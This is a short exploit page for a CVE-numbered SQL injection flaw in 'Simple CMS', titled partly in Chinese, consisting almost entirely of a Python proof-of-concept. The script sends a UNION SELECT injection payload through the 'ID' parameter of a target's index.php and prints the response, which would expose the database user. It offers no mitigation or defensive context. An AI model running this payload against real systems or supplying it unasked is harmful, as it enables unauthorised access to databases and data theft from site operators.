CVE-2026-6183 Simple CMS SQL注入漏洞

import requests def check_sqli(url): # Payload to test SQL Injection vulnerability payload = "1' UNION SELECT 1, user(), 3-- -" # Target parameter 'ID' in the vulnerable file params = { "ID": payload } try: response = requests.get(url, params=params, timeout=10) if response.status_code == 200: print("[+] Potential SQL Injection found!") print(f"[+] Response: {response.text[:500]}") else: print("[-] Target did not respond as expected.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://target-ip/web/index.php" check_sqli(target)